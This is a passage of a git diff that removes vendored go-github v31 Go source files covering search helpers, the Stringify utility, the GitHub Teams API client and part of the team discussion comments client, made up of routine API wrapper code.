resp, err -} - -// Helper function that executes search queries against different -// GitHub search types (repositories, commits, code, issues, users, labels) -// -// If searchParameters.Query includes multiple condition, it MUST NOT include "+" as condition separator. -// For example, querying with "language:c++" and "leveldb", then searchParameters.Query should be "language:c++ leveldb" but not "language:c+++leveldb". -func (s *SearchService) search(ctx context.Context, searchType string, parameters *searchParameters, opts *SearchOptions, result interface{}) (*Response, error) { - params, err := qs.Values(opts) - if err != nil { - return nil, err - } - if parameters.RepositoryID != nil { - params.Set("repository_id", strconv.FormatInt(*parameters.RepositoryID, 10)) - } - params.Set("q", parameters.Query) - u := fmt.Sprintf("search/%s?%s", searchType, params.Encode()) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, err - } - - switch { - case searchType == "commits": - // Accept header for search commits preview endpoint - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeCommitSearchPreview) - case searchType == "topics": - // Accept header for search repositories based on topics preview endpoint - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeTopicsPreview) - case searchType == "repositories": - // Accept header for search repositories based on topics preview endpoint - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeTopicsPreview) - case opts != nil && opts.TextMatch: - // Accept header defaults to "application/vnd.github.v3+json" - // We change it here to fetch back text-match metadata - req.Header.Set("Accept", "application/vnd.github.v3.text-match+json") - } - - return s.client.Do(ctx, req, result) -} diff --git a/vendor/github.com/google/go-github/v31/github/strings.go b/vendor/github.com/google/go-github/v31/github/strings.go deleted file mode 100644 index 431e1cc6c1..0000000000 --- a/vendor/github.com/google/go-github/v31/github/strings.go +++ /dev/null @@ -1,93 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "fmt" - "io" - - "reflect" -) - -var timestampType = reflect.TypeOf(Timestamp{}) - -// Stringify attempts to create a reasonable string representation of types in -// the GitHub library. It does things like resolve pointers to their values -// and omits struct fields with nil values. -func Stringify(message interface{}) string { - var buf bytes.Buffer - v := reflect.ValueOf(message) - stringifyValue(&buf, v) - return buf.String() -} - -// stringifyValue was heavily inspired by the goprotobuf library. - -func stringifyValue(w io.Writer, val reflect.Value) { - if val.Kind() == reflect.Ptr && val.IsNil() { - w.Write([]byte("")) - return - } - - v := reflect.Indirect(val) - - switch v.Kind() { - case reflect.String: - fmt.Fprintf(w, `"%s"`, v) - case reflect.Slice: - w.Write([]byte{'['}) - for i := 0; i < v.Len(); i++ { - if i > 0 { - w.Write([]byte{' '}) - } - - stringifyValue(w, v.Index(i)) - } - - w.Write([]byte{']'}) - return - case reflect.Struct: - if v.Type().Name() != "" { - w.Write([]byte(v.Type().String())) - } - - // special handling of Timestamp values - if v.Type() == timestampType { - fmt.Fprintf(w, "{%s}", v.Interface()) - return - } - - w.Write([]byte{'{'}) - - var sep bool - for i := 0; i < v.NumField(); i++ { - fv := v.Field(i) - if fv.Kind() == reflect.Ptr && fv.IsNil() { - continue - } - if fv.Kind() == reflect.Slice && fv.IsNil() { - continue - } - - if sep { - w.Write([]byte(", ")) - } else { - sep = true - } - - w.Write([]byte(v.Type().Field(i).Name)) - w.Write([]byte{':'}) - stringifyValue(w, fv) - } - - w.Write([]byte{'}'}) - default: - if v.CanInterface() { - fmt.Fprint(w, v.Interface()) - } - } -} diff --git a/vendor/github.com/google/go-github/v31/github/teams.go b/vendor/github.com/google/go-github/v31/github/teams.go deleted file mode 100644 index 6eab37fd54..0000000000 --- a/vendor/github.com/google/go-github/v31/github/teams.go +++ /dev/null @@ -1,848 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "net/http" - "strings" - "time" -) - -// TeamsService provides access to the team-related functions -// in the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/teams/ -type TeamsService service - -// Team represents a team within a GitHub organization. Teams are used to -// manage access to an organization's repositories. -type Team struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - URL *string `json:"url,omitempty"` - Slug *string `json:"slug,omitempty"` - - // Permission specifies the default permission for repositories owned by the team. - Permission *string `json:"permission,omitempty"` - - // Privacy identifies the level of privacy this team should have. - // Possible values are: - // secret - only visible to organization owners and members of this team - // closed - visible to all members of this organization - // Default is "secret". - Privacy *string `json:"privacy,omitempty"` - - MembersCount *int `json:"members_count,omitempty"` - ReposCount *int `json:"repos_count,omitempty"` - Organization *Organization `json:"organization,omitempty"` - MembersURL *string `json:"members_url,omitempty"` - RepositoriesURL *string `json:"repositories_url,omitempty"` - Parent *Team `json:"parent,omitempty"` - - // LDAPDN is only available in GitHub Enterprise and when the team - // membership is synchronized with LDAP. - LDAPDN *string `json:"ldap_dn,omitempty"` -} - -func (t Team) String() string { - return Stringify(t) -} - -// Invitation represents a team member's invitation status. -type Invitation struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Login *string `json:"login,omitempty"` - Email *string `json:"email,omitempty"` - // Role can be one of the values - 'direct_member', 'admin', 'billing_manager', 'hiring_manager', or 'reinstate'. - Role *string `json:"role,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - Inviter *User `json:"inviter,omitempty"` - TeamCount *int `json:"team_count,omitempty"` - InvitationTeamURL *string `json:"invitation_team_url,omitempty"` -} - -func (i Invitation) String() string { - return Stringify(i) -} - -// ListTeams lists all of the teams for an organization. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-teams -func (s *TeamsService) ListTeams(ctx context.Context, org string, opts *ListOptions) ([]*Team, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teams []*Team - resp, err := s.client.Do(ctx, req, &teams) - if err != nil { - return nil, resp, err - } - - return teams, resp, nil -} - -// GetTeamByID fetches a team, given a specified organization ID, by ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/#get-team-by-name -func (s *TeamsService) GetTeamByID(ctx context.Context, orgID, teamID int64) (*Team, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v", orgID, teamID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - t := new(Team) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// GetTeamBySlug fetches a team, given a specified organization name, by slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/#get-team-by-name -func (s *TeamsService) GetTeamBySlug(ctx context.Context, org, slug string) (*Team, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v", org, slug) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - t := new(Team) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// NewTeam represents a team to be created or modified. -type NewTeam struct { - Name string `json:"name"` // Name of the team. (Required.) - Description *string `json:"description,omitempty"` - Maintainers []string `json:"maintainers,omitempty"` - RepoNames []string `json:"repo_names,omitempty"` - ParentTeamID *int64 `json:"parent_team_id,omitempty"` - - // Deprecated: Permission is deprecated when creating or editing a team in an org - // using the new GitHub permission model. It no longer identifies the - // permission a team has on its repos, but only specifies the default - // permission a repo is initially added with. Avoid confusion by - // specifying a permission value when calling AddTeamRepo. - Permission *string `json:"permission,omitempty"` - - // Privacy identifies the level of privacy this team should have. - // Possible values are: - // secret - only visible to organization owners and members of this team - // closed - visible to all members of this organization - // Default is "secret". - Privacy *string `json:"privacy,omitempty"` - - // LDAPDN may be used in GitHub Enterprise when the team membership - // is synchronized with LDAP. - LDAPDN *string `json:"ldap_dn,omitempty"` -} - -func (s NewTeam) String() string { - return Stringify(s) -} - -// CreateTeam creates a new team within an organization. -// -// GitHub API docs: https://developer.github.com/v3/teams/#create-team -func (s *TeamsService) CreateTeam(ctx context.Context, org string, team NewTeam) (*Team, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams", org) - req, err := s.client.NewRequest("POST", u, team) - if err != nil { - return nil, nil, err - } - - t := new(Team) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// newTeamNoParent is the same as NewTeam but ensures that the -// "parent_team_id" field will be null. It is for internal use -// only and should not be exported. -type newTeamNoParent struct { - Name string `json:"name"` - Description *string `json:"description,omitempty"` - Maintainers []string `json:"maintainers,omitempty"` - RepoNames []string `json:"repo_names,omitempty"` - ParentTeamID *int64 `json:"parent_team_id"` // This will be "null" - Privacy *string `json:"privacy,omitempty"` - LDAPDN *string `json:"ldap_dn,omitempty"` -} - -// copyNewTeamWithoutParent is used to set the "parent_team_id" -// field to "null" after copying the other fields from a NewTeam. -// It is for internal use only and should not be exported. -func copyNewTeamWithoutParent(team *NewTeam) *newTeamNoParent { - return &newTeamNoParent{ - Name: team.Name, - Description: team.Description, - Maintainers: team.Maintainers, - RepoNames: team.RepoNames, - Privacy: team.Privacy, - LDAPDN: team.LDAPDN, - } -} - -// EditTeamByID edits a team, given an organization ID, selected by ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/#edit-team -func (s *TeamsService) EditTeamByID(ctx context.Context, orgID, teamID int64, team NewTeam, removeParent bool) (*Team, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v", orgID, teamID) - - var req *http.Request - var err error - if removeParent { - teamRemoveParent := copyNewTeamWithoutParent(&team) - req, err = s.client.NewRequest("PATCH", u, teamRemoveParent) - } else { - req, err = s.client.NewRequest("PATCH", u, team) - } - if err != nil { - return nil, nil, err - } - - t := new(Team) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// EditTeamBySlug edits a team, given an organization name, by slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/#edit-team -func (s *TeamsService) EditTeamBySlug(ctx context.Context, org, slug string, team NewTeam, removeParent bool) (*Team, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v", org, slug) - - var req *http.Request - var err error - if removeParent { - teamRemoveParent := copyNewTeamWithoutParent(&team) - req, err = s.client.NewRequest("PATCH", u, teamRemoveParent) - } else { - req, err = s.client.NewRequest("PATCH", u, team) - } - if err != nil { - return nil, nil, err - } - - t := new(Team) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// DeleteTeamByID deletes a team referenced by ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/#delete-team -func (s *TeamsService) DeleteTeamByID(ctx context.Context, orgID, teamID int64) (*Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v", orgID, teamID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// DeleteTeamBySlug deletes a team reference by slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/#delete-team -func (s *TeamsService) DeleteTeamBySlug(ctx context.Context, org, slug string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v", org, slug) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListChildTeamsByParentID lists child teams for a parent team given parent ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-child-teams -func (s *TeamsService) ListChildTeamsByParentID(ctx context.Context, orgID, teamID int64, opts *ListOptions) ([]*Team, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/teams", orgID, teamID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teams []*Team - resp, err := s.client.Do(ctx, req, &teams) - if err != nil { - return nil, resp, err - } - - return teams, resp, nil -} - -// ListChildTeamsByParentSlug lists child teams for a parent team given parent slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-child-teams -func (s *TeamsService) ListChildTeamsByParentSlug(ctx context.Context, org, slug string, opts *ListOptions) ([]*Team, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/teams", org, slug) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teams []*Team - resp, err := s.client.Do(ctx, req, &teams) - if err != nil { - return nil, resp, err - } - - return teams, resp, nil -} - -// ListTeamReposByID lists the repositories given a team ID that the specified team has access to. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-team-repos -func (s *TeamsService) ListTeamReposByID(ctx context.Context, orgID, teamID int64, opts *ListOptions) ([]*Repository, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/repos", orgID, teamID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when topics API fully launches. - headers := []string{mediaTypeTopicsPreview} - req.Header.Set("Accept", strings.Join(headers, ", ")) - - var repos []*Repository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// ListTeamReposBySlug lists the repositories given a team slug that the specified team has access to. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-team-repos -func (s *TeamsService) ListTeamReposBySlug(ctx context.Context, org, slug string, opts *ListOptions) ([]*Repository, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/repos", org, slug) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when topics API fully launches. - headers := []string{mediaTypeTopicsPreview} - req.Header.Set("Accept", strings.Join(headers, ", ")) - - var repos []*Repository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// IsTeamRepoByID checks if a team, given its ID, manages the specified repository. If the -// repository is managed by team, a Repository is returned which includes the -// permissions team has for that repo. -// -// GitHub API docs: https://developer.github.com/v3/teams/#check-if-a-team-manages-a-repository -func (s *TeamsService) IsTeamRepoByID(ctx context.Context, orgID, teamID int64, owner, repo string) (*Repository, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/repos/%v/%v", orgID, teamID, owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - headers := []string{mediaTypeOrgPermissionRepo} - req.Header.Set("Accept", strings.Join(headers, ", ")) - - repository := new(Repository) - resp, err := s.client.Do(ctx, req, repository) - if err != nil { - return nil, resp, err - } - - return repository, resp, nil -} - -// IsTeamRepoBySlug checks if a team, given its slug, manages the specified repository. If the -// repository is managed by team, a Repository is returned which includes the -// permissions team has for that repo. -// -// GitHub API docs: https://developer.github.com/v3/teams/#check-if-a-team-manages-a-repository -func (s *TeamsService) IsTeamRepoBySlug(ctx context.Context, org, slug, owner, repo string) (*Repository, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/repos/%v/%v", org, slug, owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - headers := []string{mediaTypeOrgPermissionRepo} - req.Header.Set("Accept", strings.Join(headers, ", ")) - - repository := new(Repository) - resp, err := s.client.Do(ctx, req, repository) - if err != nil { - return nil, resp, err - } - - return repository, resp, nil -} - -// TeamAddTeamRepoOptions specifies the optional parameters to the -// TeamsService.AddTeamRepo method. -type TeamAddTeamRepoOptions struct { - // Permission specifies the permission to grant the team on this repository. - // Possible values are: - // pull - team members can pull, but not push to or administer this repository - // push - team members can pull and push, but not administer this repository - // admin - team members can pull, push and administer this repository - // - // If not specified, the team's permission attribute will be used. - Permission string `json:"permission,omitempty"` -} - -// AddTeamRepoByID adds a repository to be managed by the specified team given the team ID. -// The specified repository must be owned by the organization to which the team -// belongs, or a direct fork of a repository owned by the organization. -// -// GitHub API docs: https://developer.github.com/v3/teams/#add-or-update-team-repository -func (s *TeamsService) AddTeamRepoByID(ctx context.Context, orgID, teamID int64, owner, repo string, opts *TeamAddTeamRepoOptions) (*Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/repos/%v/%v", orgID, teamID, owner, repo) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// AddTeamRepoBySlug adds a repository to be managed by the specified team given the team slug. -// The specified repository must be owned by the organization to which the team -// belongs, or a direct fork of a repository owned by the organization. -// -// GitHub API docs: https://developer.github.com/v3/teams/#add-or-update-team-repository -func (s *TeamsService) AddTeamRepoBySlug(ctx context.Context, org, slug, owner, repo string, opts *TeamAddTeamRepoOptions) (*Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/repos/%v/%v", org, slug, owner, repo) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// RemoveTeamRepoByID removes a repository from being managed by the specified -// team given the team ID. Note that this does not delete the repository, it -// just removes it from the team. -// -// GitHub API docs: https://developer.github.com/v3/teams/#remove-team-repository -func (s *TeamsService) RemoveTeamRepoByID(ctx context.Context, orgID, teamID int64, owner, repo string) (*Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/repos/%v/%v", orgID, teamID, owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// RemoveTeamRepoBySlug removes a repository from being managed by the specified -// team given the team slug. Note that this does not delete the repository, it -// just removes it from the team. -// -// GitHub API docs: https://developer.github.com/v3/teams/#remove-team-repository -func (s *TeamsService) RemoveTeamRepoBySlug(ctx context.Context, org, slug, owner, repo string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/repos/%v/%v", org, slug, owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListUserTeams lists a user's teams -// GitHub API docs: https://developer.github.com/v3/teams/#list-user-teams -func (s *TeamsService) ListUserTeams(ctx context.Context, opts *ListOptions) ([]*Team, *Response, error) { - u := "user/teams" - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teams []*Team - resp, err := s.client.Do(ctx, req, &teams) - if err != nil { - return nil, resp, err - } - - return teams, resp, nil -} - -// ListTeamProjectsByID lists the organization projects for a team given the team ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-team-projects -func (s *TeamsService) ListTeamProjectsByID(ctx context.Context, orgID, teamID int64) ([]*Project, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/projects", orgID, teamID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var projects []*Project - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// ListTeamProjectsBySlug lists the organization projects for a team given the team slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-team-projects -func (s *TeamsService) ListTeamProjectsBySlug(ctx context.Context, org, slug string) ([]*Project, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/projects", org, slug) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var projects []*Project - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// ReviewTeamProjectsByID checks whether a team, given its ID, has read, write, or admin -// permissions for an organization project. -// -// GitHub API docs: https://developer.github.com/v3/teams/#review-a-team-project -func (s *TeamsService) ReviewTeamProjectsByID(ctx context.Context, orgID, teamID, projectID int64) (*Project, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/projects/%v", orgID, teamID, projectID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - projects := &Project{} - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// ReviewTeamProjectsBySlug checks whether a team, given its slug, has read, write, or admin -// permissions for an organization project. -// -// GitHub API docs: https://developer.github.com/v3/teams/#review-a-team-project -func (s *TeamsService) ReviewTeamProjectsBySlug(ctx context.Context, org, slug string, projectID int64) (*Project, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/projects/%v", org, slug, projectID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - projects := &Project{} - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// TeamProjectOptions specifies the optional parameters to the -// TeamsService.AddTeamProject method. -type TeamProjectOptions struct { - // Permission specifies the permission to grant to the team for this project. - // Possible values are: - // "read" - team members can read, but not write to or administer this project. - // "write" - team members can read and write, but not administer this project. - // "admin" - team members can read, write and administer this project. - // - Permission *string `json:"permission,omitempty"` -} - -// AddTeamProjectByID adds an organization project to a team given the team ID. -// To add a project to a team or update the team's permission on a project, the -// authenticated user must have admin permissions for the project. -// -// GitHub API docs: https://developer.github.com/v3/teams/#add-or-update-team-project -func (s *TeamsService) AddTeamProjectByID(ctx context.Context, orgID, teamID, projectID int64, opts *TeamProjectOptions) (*Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/projects/%v", orgID, teamID, projectID) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - return s.client.Do(ctx, req, nil) -} - -// AddTeamProjectBySlug adds an organization project to a team given the team slug. -// To add a project to a team or update the team's permission on a project, the -// authenticated user must have admin permissions for the project. -// -// GitHub API docs: https://developer.github.com/v3/teams/#add-or-update-team-project -func (s *TeamsService) AddTeamProjectBySlug(ctx context.Context, org, slug string, projectID int64, opts *TeamProjectOptions) (*Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/projects/%v", org, slug, projectID) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - return s.client.Do(ctx, req, nil) -} - -// RemoveTeamProjectByID removes an organization project from a team given team ID. -// An organization owner or a team maintainer can remove any project from the team. -// To remove a project from a team as an organization member, the authenticated user -// must have "read" access to both the team and project, or "admin" access to the team -// or project. -// Note: This endpoint removes the project from the team, but does not delete it. -// -// GitHub API docs: https://developer.github.com/v3/teams/#remove-team-project -func (s *TeamsService) RemoveTeamProjectByID(ctx context.Context, orgID, teamID, projectID int64) (*Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/projects/%v", orgID, teamID, projectID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - return s.client.Do(ctx, req, nil) -} - -// RemoveTeamProjectBySlug removes an organization project from a team given team slug. -// An organization owner or a team maintainer can remove any project from the team. -// To remove a project from a team as an organization member, the authenticated user -// must have "read" access to both the team and project, or "admin" access to the team -// or project. -// Note: This endpoint removes the project from the team, but does not delete it. -// -// GitHub API docs: https://developer.github.com/v3/teams/#remove-team-project -func (s *TeamsService) RemoveTeamProjectBySlug(ctx context.Context, org, slug string, projectID int64) (*Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/projects/%v", org, slug, projectID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeProjectsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - return s.client.Do(ctx, req, nil) -} - -// IDPGroupList represents a list of external identity provider (IDP) groups. -type IDPGroupList struct { - Groups []*IDPGroup `json:"groups"` -} - -// IDPGroup represents an external identity provider (IDP) group. -type IDPGroup struct { - GroupID *string `json:"group_id,omitempty"` - GroupName *string `json:"group_name,omitempty"` - GroupDescription *string `json:"group_description,omitempty"` -} - -// ListIDPGroupsInOrganization lists IDP groups available in an organization. -// -// GitHub API docs: https://developer.github.com/v3/teams/team_sync/#list-idp-groups-in-an-organization -func (s *TeamsService) ListIDPGroupsInOrganization(ctx context.Context, org string, opts *ListCursorOptions) (*IDPGroupList, *Response, error) { - u := fmt.Sprintf("orgs/%v/team-sync/groups", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - groups := new(IDPGroupList) - resp, err := s.client.Do(ctx, req, groups) - if err != nil { - return nil, resp, err - } - return groups, resp, nil -} - -// ListIDPGroupsForTeamByID lists IDP groups connected to a team on GitHub -// given organization and team IDs. -// -// GitHub API docs: https://developer.github.com/v3/teams/team_sync/#list-idp-groups-for-a-team -func (s *TeamsService) ListIDPGroupsForTeamByID(ctx context.Context, orgID, teamID int64) (*IDPGroupList, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/team-sync/group-mappings", orgID, teamID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - groups := new(IDPGroupList) - resp, err := s.client.Do(ctx, req, groups) - if err != nil { - return nil, resp, err - } - return groups, resp, err -} - -// ListIDPGroupsForTeamBySlug lists IDP groups connected to a team on GitHub -// given organization name and team slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/team_sync/#list-idp-groups-for-a-team -func (s *TeamsService) ListIDPGroupsForTeamBySlug(ctx context.Context, org, slug string) (*IDPGroupList, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/team-sync/group-mappings", org, slug) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - groups := new(IDPGroupList) - resp, err := s.client.Do(ctx, req, groups) - if err != nil { - return nil, resp, err - } - return groups, resp, err -} - -// CreateOrUpdateIDPGroupConnectionsByID creates, updates, or removes a connection -// between a team and an IDP group given organization and team IDs. -// -// GitHub API docs: https://developer.github.com/v3/teams/team_sync/#create-or-update-idp-group-connections -func (s *TeamsService) CreateOrUpdateIDPGroupConnectionsByID(ctx context.Context, orgID, teamID int64, opts IDPGroupList) (*IDPGroupList, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/team-sync/group-mappings", orgID, teamID) - - req, err := s.client.NewRequest("PATCH", u, opts) - if err != nil { - return nil, nil, err - } - - groups := new(IDPGroupList) - resp, err := s.client.Do(ctx, req, groups) - if err != nil { - return nil, resp, err - } - - return groups, resp, nil -} - -// CreateOrUpdateIDPGroupConnectionsBySlug creates, updates, or removes a connection -// between a team and an IDP group given organization name and team slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/team_sync/#create-or-update-idp-group-connections -func (s *TeamsService) CreateOrUpdateIDPGroupConnectionsBySlug(ctx context.Context, org, slug string, opts IDPGroupList) (*IDPGroupList, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/team-sync/group-mappings", org, slug) - - req, err := s.client.NewRequest("PATCH", u, opts) - if err != nil { - return nil, nil, err - } - - groups := new(IDPGroupList) - resp, err := s.client.Do(ctx, req, groups) - if err != nil { - return nil, resp, err - } - - return groups, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/teams_discussion_comments.go b/vendor/github.com/google/go-github/v31/github/teams_discussion_comments.go deleted file mode 100644 index 61b18f3098..0000000000 --- a/vendor/github.com/google/go-github/v31/github/teams_discussion_comments.go +++ /dev/null @@ -1,242 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// DiscussionComment represents a GitHub dicussion in a team. -type DiscussionComment struct { - Author *User `json:"author,omitempty"` - Body *string `json:"body,omitempty"` - BodyHTML *string `json:"body_html,omitempty"` - BodyVersion *string `json:"body_version,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - LastEditedAt *Timestamp `json:"last_edited_at,omitempty"` - DiscussionURL *string `json:"discussion_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Number *int `json:"number,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - URL *string `json:"url,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` -} - -func (c DiscussionComment) String() string { - return Stringify(c) -} - -// DiscussionCommentListOptions specifies optional parameters to the -// TeamServices.ListComments method. -type DiscussionCommentListOptions struct { - // Sorts the discussion comments by the date they were created. - // Accepted values are asc and desc. Default is desc. - Direction string `url:"direction,omitempty"` - ListOptions -} - -// ListCommentsByID lists all comments on a team discussion by team ID. -// 